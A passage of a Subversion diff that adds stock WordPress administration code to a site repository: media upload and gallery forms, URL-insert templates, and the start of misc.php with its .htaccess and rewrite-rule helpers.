+	<input type="file" name="async-upload" id="async-upload" /> <input type="submit" class="button" name="html-upload" value="<?php esc_attr_e('Upload'); ?>" /> <a href="#" onclick="return top.tb_remove();"><?php _e('Cancel'); ?></a>
+	</p>
+	<div class="clear"></div>
+	<?php if ( is_lighttpd_before_150() ): ?>
+	<p><?php _e('If you want to use all capabilities of the uploader, like uploading multiple files at once, please upgrade to lighttpd 1.5.'); ?></p>
+	<?php endif;?>
+<?php do_action('post-html-upload-ui', $flash); ?>
+</div>
+<?php do_action('post-upload-ui'); ?>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $type
+ * @param unknown_type $errors
+ * @param unknown_type $id
+ */
+function media_upload_type_form($type = 'file', $errors = null, $id = null) {
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+	$form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_attr($form_action_url); ?>" class="media-upload-form type-form validate" id="<?php echo $type; ?>-form">
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<h3 class="media-title"><?php _e('Add media files from your computer'); ?></h3>
+
+<?php media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+//<![CDATA[
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+	}
+	updateMediaForm();
+});
+//]]>
+</script>
+<div id="media-items">
+<?php
+if ( $id ) {
+	if ( !is_wp_error($id) ) {
+		add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2);
+		echo get_media_items( $id, $errors );
+	} else {
+		echo '<div id="media-upload-error">'.esc_html($id->get_error_message()).'</div>';
+		exit;
+	}
+}
+?>
+</div>
+<p class="savebutton ml-submit">
+<input type="submit" class="button" name="save" value="<?php esc_attr_e( 'Save all changes' ); ?>" />
+</p>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $type
+ * @param unknown_type $errors
+ * @param unknown_type $id
+ */
+function media_upload_type_url_form($type = 'file', $errors = null, $id = null) {
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+
+	$form_action_url = admin_url("media-upload.php?type=$type&tab=type&post_id=$post_id");
+	$form_action_url = apply_filters('media_upload_form_url', $form_action_url, $type);
+
+	$callback = "type_url_form_$type";
+?>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_attr($form_action_url); ?>" class="media-upload-form type-form validate" id="<?php echo $type; ?>-form">
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<?php wp_nonce_field('media-form'); ?>
+
+<?php if ( is_callable($callback) ) { ?>
+
+<h3 class="media-title"><?php _e('Add media file from URL'); ?></h3>
+
+<script type="text/javascript">
+//<![CDATA[
+var addExtImage = {
+
+	width : '',
+	height : '',
+	align : 'alignnone',
+
+	insert : function() {
+		var t = this, html, f = document.forms[0], cls, title = '', alt = '', caption = null;
+
+		if ( '' == f.src.value || '' == t.width ) return false;
+
+		if ( f.title.value ) {
+			title = f.title.value.replace(/['"<>]+/g, '');
+			title = ' title="'+title+'"';
+		}
+
+		if ( f.alt.value ) {
+			alt = f.alt.value.replace(/['"<>]+/g, '');
+<?php if ( ! apply_filters( 'disable_captions', '' ) ) { ?>
+			caption = f.alt.value.replace(/'/g, '&#39;').replace(/"/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+<?php } ?>
+		}
+
+		cls = caption ? '' : ' class="'+t.align+'"';
+
+		html = '<img alt="'+alt+'" src="'+f.src.value+'"'+title+cls+' width="'+t.width+'" height="'+t.height+'" />';
+
+		if ( f.url.value )
+			html = '<a href="'+f.url.value+'">'+html+'</a>';
+
+		if ( caption )
+			html = '[caption id="" align="'+t.align+'" width="'+t.width+'" caption="'+caption+'"]'+html+'[/caption]';
+
+		var win = window.dialogArguments || opener || parent || top;
+		win.send_to_editor(html);
+	},
+
+	resetImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.height = '';
+		document.getElementById('go_button').style.color = '#bbb';
+		if ( ! document.forms[0].src.value )
+			document.getElementById('status_img').src = 'images/required.gif';
+		else document.getElementById('status_img').src = 'images/no.png';
+	},
+
+	updateImageData : function() {
+		var t = addExtImage;
+
+		t.width = t.preloadImg.width;
+		t.height = t.preloadImg.height;
+		document.getElementById('go_button').style.color = '#333';
+		document.getElementById('status_img').src = 'images/yes.png';
+	},
+
+	getImageData : function() {
+		var t = addExtImage, src = document.forms[0].src.value;
+
+		if ( ! src ) {
+			t.resetImageData();
+			return false;
+		}
+		document.getElementById('status_img').src = 'images/wpspin_light.gif';
+		t.preloadImg = new Image();
+		t.preloadImg.onload = t.updateImageData;
+		t.preloadImg.onerror = t.resetImageData;
+		t.preloadImg.src = src;
+	}
+}
+//]]>
+</script>
+
+<div id="media-items">
+<div class="media-item media-blank">
+<?php echo apply_filters($callback, call_user_func($callback)); ?>
+</div>
+</div>
+</form>
+<?php
+	} else {
+		wp_die( __('Unknown action.') );
+	}
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $errors
+ */
+function media_upload_gallery_form($errors) {
+	global $redir_tab;
+
+	$redir_tab = 'gallery';
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+	$form_action_url = admin_url("media-upload.php?type={$GLOBALS['type']}&tab=gallery&post_id=$post_id");
+?>
+
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+-->
+</script>
+<div id="sort-buttons" class="hide-if-no-js">
+<span>
+<?php _e('All Tabs:'); ?>
+<a href="#" id="showall"><?php _e('Show'); ?></a>
+<a href="#" id="hideall" style="display:none;"><?php _e('Hide'); ?></a>
+</span>
+<?php _e('Sort Order:'); ?>
+<a href="#" id="asc"><?php _e('Ascending'); ?></a> |
+<a href="#" id="desc"><?php _e('Descending'); ?></a> |
+<a href="#" id="clear"><?php _e('Clear'); ?></a>
+</div>
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_attr($form_action_url); ?>" class="media-upload-form validate" id="gallery-form">
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+<table class="widefat" cellspacing="0">
+<thead><tr>
+<th><?php _e('Media'); ?></th>
+<th class="order-head"><?php _e('Order'); ?></th>
+</tr></thead>
+</table>
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items($post_id, $errors); ?>
+</div>
+
+<p class="ml-submit">
+<input type="submit" class="button savebutton" style="display:none;" name="save" id="save-all" value="<?php esc_attr_e( 'Save all changes' ); ?>" />
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="type" value="<?php echo esc_attr( $GLOBALS['type'] ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $GLOBALS['tab'] ); ?>" />
+</p>
+
+<div id="gallery-settings" style="display:none;">
+<div class="title"><?php _e('Gallery Settings'); ?></div>
+<table id="basic" class="describe"><tbody>
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Link thumbnails to:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" name="linkto" id="linkto-file" value="file" />
+		<label for="linkto-file" class="radio"><?php _e('Image File'); ?></label>
+
+		<input type="radio" checked="checked" name="linkto" id="linkto-post" value="post" />
+		<label for="linkto-post" class="radio"><?php _e('Attachment Page'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order images by:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="orderby" name="orderby">
+			<option value="menu_order" selected="selected"><?php _e('Menu order'); ?></option>
+			<option value="title"><?php _e('Title'); ?></option>
+			<option value="ID"><?php _e('Date/Time'); ?></option>
+			<option value="rand"><?php _e('Random'); ?></option>
+		</select>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Order:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<input type="radio" checked="checked" name="order" id="order-asc" value="asc" />
+		<label for="order-asc" class="radio"><?php _e('Ascending'); ?></label>
+
+		<input type="radio" name="order" id="order-desc" value="desc" />
+		<label for="order-desc" class="radio"><?php _e('Descending'); ?></label>
+	</td>
+	</tr>
+
+	<tr>
+	<th scope="row" class="label">
+		<label>
+		<span class="alignleft"><?php _e('Gallery columns:'); ?></span>
+		</label>
+	</th>
+	<td class="field">
+		<select id="columns" name="columns">
+			<option value="2"><?php _e('2'); ?></option>
+			<option value="3" selected="selected"><?php _e('3'); ?></option>
+			<option value="4"><?php _e('4'); ?></option>
+			<option value="5"><?php _e('5'); ?></option>
+			<option value="6"><?php _e('6'); ?></option>
+			<option value="7"><?php _e('7'); ?></option>
+			<option value="8"><?php _e('8'); ?></option>
+			<option value="9"><?php _e('9'); ?></option>
+		</select>
+	</td>
+	</tr>
+</tbody></table>
+
+<p class="ml-submit">
+<input type="button" class="button" style="display:none;" onmousedown="wpgallery.update();" name="insert-gallery" id="insert-gallery" value="<?php esc_attr_e( 'Insert gallery' ); ?>" />
+<input type="button" class="button" style="display:none;" onmousedown="wpgallery.update();" name="update-gallery" id="update-gallery" value="<?php esc_attr_e( 'Update gallery settings' ); ?>" />
+</p>
+</div>
+</form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $errors
+ */
+function media_upload_library_form($errors) {
+	global $wpdb, $wp_query, $wp_locale, $type, $tab, $post_mime_types;
+
+	media_upload_header();
+
+	$post_id = intval($_REQUEST['post_id']);
+
+	$form_action_url = admin_url("media-upload.php?type={$GLOBALS['type']}&tab=library&post_id=$post_id");
+
+	$_GET['paged'] = isset( $_GET['paged'] ) ? intval($_GET['paged']) : 0;
+	if ( $_GET['paged'] < 1 )
+		$_GET['paged'] = 1;
+	$start = ( $_GET['paged'] - 1 ) * 10;
+	if ( $start < 1 )
+		$start = 0;
+	add_filter( 'post_limits', $limit_filter = create_function( '$a', "return 'LIMIT $start, 10';" ) );
+
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
+
+?>
+
+<form id="filter" action="" method="get">
+<input type="hidden" name="type" value="<?php echo esc_attr( $type ); ?>" />
+<input type="hidden" name="tab" value="<?php echo esc_attr( $tab ); ?>" />
+<input type="hidden" name="post_id" value="<?php echo (int) $post_id; ?>" />
+<input type="hidden" name="post_mime_type" value="<?php echo isset( $_GET['post_mime_type'] ) ? esc_attr( $_GET['post_mime_type'] ) : ''; ?>" />
+
+<p id="media-search" class="search-box">
+	<label class="screen-reader-text" for="media-search-input"><?php _e('Search Media');?>:</label>
+	<input type="text" id="media-search-input" name="s" value="<?php the_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Media' ); ?>" class="button" />
+</p>
+
+<ul class="subsubsub">
+<?php
+$type_links = array();
+$_num_posts = (array) wp_count_attachments();
+$matches = wp_match_mime_types(array_keys($post_mime_types), array_keys($_num_posts));
+foreach ( $matches as $_type => $reals )
+	foreach ( $reals as $real )
+		if ( isset($num_posts[$_type]) )
+			$num_posts[$_type] += $_num_posts[$real];
+		else
+			$num_posts[$_type] = $_num_posts[$real];
+// If available type specified by media button clicked, filter by that type
+if ( empty($_GET['post_mime_type']) && !empty($num_posts[$type]) ) {
+	$_GET['post_mime_type'] = $type;
+	list($post_mime_types, $avail_post_mime_types) = wp_edit_attachments_query();
+}
+if ( empty($_GET['post_mime_type']) || $_GET['post_mime_type'] == 'all' )
+	$class = ' class="current"';
+else
+	$class = '';
+$type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>'all', 'paged'=>false, 'm'=>false))) . "'$class>".__('All Types')."</a>";
+foreach ( $post_mime_types as $mime_type => $label ) {
+	$class = '';
+
+	if ( !wp_match_mime_types($mime_type, $avail_post_mime_types) )
+		continue;
+
+	if ( isset($_GET['post_mime_type']) && wp_match_mime_types($mime_type, $_GET['post_mime_type']) )
+		$class = ' class="current"';
+
+	$type_links[] = "<li><a href='" . esc_url(add_query_arg(array('post_mime_type'=>$mime_type, 'paged'=>false))) . "'$class>" . sprintf(_n($label[2][0], $label[2][1], $num_posts[$mime_type]), "<span id='$mime_type-counter'>" . number_format_i18n( $num_posts[$mime_type] ) . '</span>') . '</a>';
+}
+echo implode(' | </li>', $type_links) . '</li>';
+unset($type_links);
+?>
+</ul>
+
+<div class="tablenav">
+
+<?php
+$page_links = paginate_links( array(
+	'base' => add_query_arg( 'paged', '%#%' ),
+	'format' => '',
+	'prev_text' => __('&laquo;'),
+	'next_text' => __('&raquo;'),
+	'total' => ceil($wp_query->found_posts / 10),
+	'current' => $_GET['paged']
+));
+
+if ( $page_links )
+	echo "<div class='tablenav-pages'>$page_links</div>";
+?>
+
+<div class="alignleft actions">
+<?php
+
+$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'attachment' ORDER BY post_date DESC";
+
+$arc_result = $wpdb->get_results( $arc_query );
+
+$month_count = count($arc_result);
+
+if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
+<select name='m'>
+<option<?php selected( @$_GET['m'], 0 ); ?> value='0'><?php _e('Show all dates'); ?></option>
+<?php
+foreach ($arc_result as $arc_row) {
+	if ( $arc_row->yyear == 0 )
+		continue;
+	$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+
+	if ( $arc_row->yyear . $arc_row->mmonth == $_GET['m'] )
+		$default = ' selected="selected"';
+	else
+		$default = '';
+
+	echo "<option$default value='" . esc_attr( $arc_row->yyear . $arc_row->mmonth ) . "'>";
+	echo esc_html( $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear" );
+	echo "</option>\n";
+}
+?>
+</select>
+<?php } ?>
+
+<input type="submit" id="post-query-submit" value="<?php echo esc_attr( __( 'Filter &#187;' ) ); ?>" class="button-secondary" />
+
+</div>
+
+<br class="clear" />
+</div>
+</form>
+
+<form enctype="multipart/form-data" method="post" action="<?php echo esc_attr($form_action_url); ?>" class="media-upload-form validate" id="library-form">
+
+<?php wp_nonce_field('media-form'); ?>
+<?php //media_upload_form( $errors ); ?>
+
+<script type="text/javascript">
+<!--
+jQuery(function($){
+	var preloaded = $(".media-item.preloaded");
+	if ( preloaded.length > 0 ) {
+		preloaded.each(function(){prepareMediaItem({id:this.id.replace(/[^0-9]/g, '')},'');});
+		updateMediaForm();
+	}
+});
+-->
+</script>
+
+<div id="media-items">
+<?php add_filter('attachment_fields_to_edit', 'media_post_single_attachment_fields_to_edit', 10, 2); ?>
+<?php echo get_media_items(null, $errors); ?>
+</div>
+<p class="ml-submit">
+<input type="submit" class="button savebutton" name="save" value="<?php esc_attr_e( 'Save all changes' ); ?>" />
+<input type="hidden" name="post_id" id="post_id" value="<?php echo (int) $post_id; ?>" />
+</p>
+</form>
+<?php
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function type_url_form_image() {
+
+	if ( apply_filters( 'disable_captions', '' ) ) {
+		$alt = __('Alternate Text');
+		$alt_help = __('Alt text for the image, e.g. &#8220;The Mona Lisa&#8221;');
+	} else {
+		$alt = __('Image Caption');
+		$alt_help = __('Also used as alternate text for the image');
+	}
+
+	$default_align = get_option('image_default_align');
+	if ( empty($default_align) )
+		$default_align = 'none';
+
+	return '
+	<table class="describe"><tbody>
+		<tr>
+			<th valign="top" scope="row" class="label" style="width:120px;">
+				<span class="alignleft"><label for="src">' . __('Image URL') . '</label></span>
+				<span class="alignright"><img id="status_img" src="images/required.gif" title="required" alt="required" /></span>
+			</th>
+			<td class="field"><input id="src" name="src" value="" type="text" aria-required="true" onblur="addExtImage.getImageData()" /></td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="title">' . __('Image Title') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><p><input id="title" name="title" value="" type="text" aria-required="true" /></p></td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="alt">' . $alt . '</label></span>
+			</th>
+			<td class="field"><input id="alt" name="alt" value="" type="text" aria-required="true" />
+			<p class="help">' . $alt_help . '</p></td>
+		</tr>
+
+		<tr class="align">
+			<th valign="top" scope="row" class="label"><p><label for="align">' . __('Alignment') . '</label></p></th>
+			<td class="field">
+				<input name="align" id="align-none" value="none" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'none' ? ' checked="checked"' : '').' />
+				<label for="align-none" class="align image-align-none-label">' . __('None') . '</label>
+				<input name="align" id="align-left" value="left" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'left' ? ' checked="checked"' : '').' />
+				<label for="align-left" class="align image-align-left-label">' . __('Left') . '</label>
+				<input name="align" id="align-center" value="center" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'center' ? ' checked="checked"' : '').' />
+				<label for="align-center" class="align image-align-center-label">' . __('Center') . '</label>
+				<input name="align" id="align-right" value="right" onclick="addExtImage.align=\'align\'+this.value" type="radio"' . ($default_align == 'right' ? ' checked="checked"' : '').' />
+				<label for="align-right" class="align image-align-right-label">' . __('Right') . '</label>
+			</td>
+		</tr>
+
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="url">' . __('Link Image To:') . '</label></span>
+			</th>
+			<td class="field"><input id="url" name="url" value="" type="text" /><br />
+
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=null">' . __('None') . '</button>
+			<button type="button" class="button" value="" onclick="document.forms[0].url.value=document.forms[0].src.value">' . __('Link to image') . '</button>
+			<p class="help">' . __('Enter a link URL or click above for presets.') . '</p></td>
+		</tr>
+
+		<tr>
+			<td></td>
+			<td>
+				<input type="button" class="button" id="go_button" style="color:#bbb;" onclick="addExtImage.insert()" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+	</tbody></table>
+';
+
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function type_url_form_audio() {
+	return '
+	<table class="describe"><tbody>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[href]">' . __('Audio File URL') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[href]" name="insertonly[href]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[title]">' . __('Title') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[title]" name="insertonly[title]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr><td></td><td class="help">' . __('Link text, e.g. &#8220;Still Alive by Jonathan Coulton&#8221;') . '</td></tr>
+		<tr>
+			<td></td>
+			<td>
+				<input type="submit" class="button" name="insertonlybutton" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+	</tbody></table>
+';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function type_url_form_video() {
+	return '
+	<table class="describe"><tbody>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[href]">' . __('Video URL') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[href]" name="insertonly[href]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[title]">' . __('Title') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[title]" name="insertonly[title]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr><td></td><td class="help">' . __('Link text, e.g. &#8220;Lucy on YouTube&#8220;') . '</td></tr>
+		<tr>
+			<td></td>
+			<td>
+				<input type="submit" class="button" name="insertonlybutton" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+	</tbody></table>
+';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function type_url_form_file() {
+	return '
+	<table class="describe"><tbody>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[href]">' . __('URL') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[href]" name="insertonly[href]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr>
+			<th valign="top" scope="row" class="label">
+				<span class="alignleft"><label for="insertonly[title]">' . __('Title') . '</label></span>
+				<span class="alignright"><abbr title="required" class="required">*</abbr></span>
+			</th>
+			<td class="field"><input id="insertonly[title]" name="insertonly[title]" value="" type="text" aria-required="true"></td>
+		</tr>
+		<tr><td></td><td class="help">' . __('Link text, e.g. &#8220;Ransom Demands (PDF)&#8221;') . '</td></tr>
+		<tr>
+			<td></td>
+			<td>
+				<input type="submit" class="button" name="insertonlybutton" value="' . esc_attr__('Insert into Post') . '" />
+			</td>
+		</tr>
+	</tbody></table>
+';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Support a GET parameter for disabling the flash uploader.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $flash
+ * @return unknown
+ */
+function media_upload_use_flash($flash) {
+	if ( array_key_exists('flash', $_REQUEST) )
+		$flash = !empty($_REQUEST['flash']);
+	return $flash;
+}
+
+add_filter('flash_uploader', 'media_upload_use_flash');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function media_upload_flash_bypass() {
+	echo '<p class="upload-flash-bypass">';
+	printf( __('You are using the Flash uploader.  Problems?  Try the <a href="%s">Browser uploader</a> instead.'), esc_url(add_query_arg('flash', 0)) );
+	echo '</p>';
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ */
+function media_upload_html_bypass($flash = true) {
+	echo '<p class="upload-html-bypass">';
+	_e('You are using the Browser uploader.');
+	if ( $flash ) {
+		// the user manually selected the browser uploader, so let them switch back to Flash
+		echo ' ';
+		printf( __('Try the <a href="%s">Flash uploader</a> instead.'), esc_url(add_query_arg('flash', 1)) );
+	}
+	echo "</p>\n";
+}
+
+add_action('post-flash-upload-ui', 'media_upload_flash_bypass');
+add_action('post-html-upload-ui', 'media_upload_html_bypass');
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Make sure the GET parameter sticks when we submit a form.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $url
+ * @return unknown
+ */
+function media_upload_bypass_url($url) {
+	if ( array_key_exists('flash', $_REQUEST) )
+		$url = add_query_arg('flash', intval($_REQUEST['flash']));
+	return $url;
+}
+
+add_filter('media_upload_form_url', 'media_upload_bypass_url');
+
+add_filter('async_upload_image', 'get_media_item', 10, 2);
+add_filter('async_upload_audio', 'get_media_item', 10, 2);
+add_filter('async_upload_video', 'get_media_item', 10, 2);
+add_filter('async_upload_file', 'get_media_item', 10, 2);
+
+add_action('media_upload_image', 'media_upload_image');
+add_action('media_upload_audio', 'media_upload_audio');
+add_action('media_upload_video', 'media_upload_video');
+add_action('media_upload_file', 'media_upload_file');
+
+add_filter('media_upload_gallery', 'media_upload_gallery');
+
+add_filter('media_upload_library', 'media_upload_library');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/misc.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/misc.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/misc.php	(revision 44)
@@ -0,0 +1,641 @@
+<?php
+/**
+ * Misc WordPress Administration API.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @return unknown
+ */
+function got_mod_rewrite() {
+	$got_rewrite = apache_mod_loaded('mod_rewrite', true);
+	return apply_filters('got_rewrite', $got_rewrite);
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $filename
+ * @param unknown_type $marker
+ * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers.
+ */
+function extract_from_markers( $filename, $marker ) {
+	$result = array ();
+
+	if (!file_exists( $filename ) ) {
+		return $result;
+	}
+
+	if ( $markerdata = explode( "\n", implode( '', file( $filename ) ) ));
+	{
+		$state = false;
+		foreach ( $markerdata as $markerline ) {
+			if (strpos($markerline, '# END ' . $marker) !== false)
+				$state = false;
+			if ( $state )
+				$result[] = $markerline;
+			if (strpos($markerline, '# BEGIN ' . $marker) !== false)
+				$state = true;
+		}
+	}
+
+	return $result;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * Inserts an array of strings into a file (.htaccess ), placing it between
+ * BEGIN and END markers. Replaces existing marked info. Retains surrounding
+ * data. Creates file if none exists.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $filename
+ * @param unknown_type $marker
+ * @param unknown_type $insertion
+ * @return bool True on write success, false on failure.
+ */
+function insert_with_markers( $filename, $marker, $insertion ) {
+	if (!file_exists( $filename ) || is_writeable( $filename ) ) {
+		if (!file_exists( $filename ) ) {
+			$markerdata = '';
+		} else {
+			$markerdata = explode( "\n", implode( '', file( $filename ) ) );
+		}
+
+		if ( !$f = @fopen( $filename, 'w' ) )
+			return false;
+
+		$foundit = false;
+		if ( $markerdata ) {
+			$state = true;
+			foreach ( $markerdata as $n => $markerline ) {
+				if (strpos($markerline, '# BEGIN ' . $marker) !== false)
+					$state = false;
+				if ( $state ) {
+					if ( $n + 1 < count( $markerdata ) )
+						fwrite( $f, "{$markerline}\n" );
+					else
+						fwrite( $f, "{$markerline}" );
+				}
+				if (strpos($markerline, '# END ' . $marker) !== false) {
+					fwrite( $f, "# BEGIN {$marker}\n" );
+					if ( is_array( $insertion ))
+						foreach ( $insertion as $insertline )
+							fwrite( $f, "{$insertline}\n" );
+					fwrite( $f, "# END {$marker}\n" );
+					$state = true;
+					$foundit = true;
+				}
+			}
+		}
+		if (!$foundit) {
+			fwrite( $f, "\n# BEGIN {$marker}\n" );
+			foreach ( $insertion as $insertline )
+				fwrite( $f, "{$insertline}\n" );
+			fwrite( $f, "# END {$marker}\n" );
+		}
+		fclose( $f );
+		return true;
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Updates the htaccess file with the current rules if it is writable.
+ *
+ * Always writes to the file if it exists and is writable to ensure that we
+ * blank out old rules.
+ *
+ * @since unknown
+ */
+function save_mod_rewrite_rules() {
+	global $wp_rewrite;
+
+	$home_path = get_home_path();
+	$htaccess_file = $home_path.'.htaccess';
+
+	// If the file doesn't already exists check for write access to the directory and whether of not we have some rules.
+	// else check for write access to the file.
+	if ((!file_exists($htaccess_file) && is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks()) || is_writable($htaccess_file)) {
+		if ( got_mod_rewrite() ) {
+			$rules = explode( "\n", $wp_rewrite->mod_rewrite_rules() );
+			return insert_with_markers( $htaccess_file, 'WordPress', $rules );
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Updates the IIS web.config file with the current rules if it is writable.
+ * If the permalinks do not require rewrite rules then the rules are deleted from the web.config file.
+ *
+ * @since 2.8.0
+ *
+ * @return bool True if web.config was updated successfully
+ */
+function iis7_save_url_rewrite_rules(){
+	global $wp_rewrite;
+
+	$home_path = get_home_path();
+	$web_config_file = $home_path . 'web.config';
+
+	// Using win_is_writable() instead of is_writable() because of a bug in Windows PHP
+	if ( ( ! file_exists($web_config_file) && win_is_writable($home_path) && $wp_rewrite->using_mod_rewrite_permalinks() ) || win_is_writable($web_config_file) ) {
+		if ( iis7_supports_permalinks() ) {
+			$rule = $wp_rewrite->iis7_url_rewrite_rules();
+			if ( ! empty($rule) ) {
+				return iis7_add_rewrite_rule($web_config_file, $rule);
+			} else {
+				return iis7_delete_rewrite_rule($web_config_file);
+			}
+		}
+	}
+	return false;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since unknown
+ *
+ * @param unknown_type $file
+ */
+function update_recently_edited( $file ) {
+	$oldfiles = (array ) get_option( 'recently_edited' );
+	if ( $oldfiles ) {
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles[] = $file;
+		$oldfiles = array_reverse( $oldfiles );
+		$oldfiles = array_unique( $oldfiles );
+		if ( 5 < count( $oldfiles ))
+			array_pop( $oldfiles );
+	} else {
+		$oldfiles[] = $file;
+	}
+	update_option( 'recently_edited', $oldfiles );
+}
+
+/**
+ * If siteurl or home changed, flush rewrite rules.
+ *
+ * @since unknown
+ *
+ * @param unknown_type $old_value
+ * @param unknown_type $value
+ */
+function update_home_siteurl( $old_value, $value ) {
+	global $wp_rewrite;
+
+	if ( defined( "WP_INSTALLING" ) )
+		return;
+
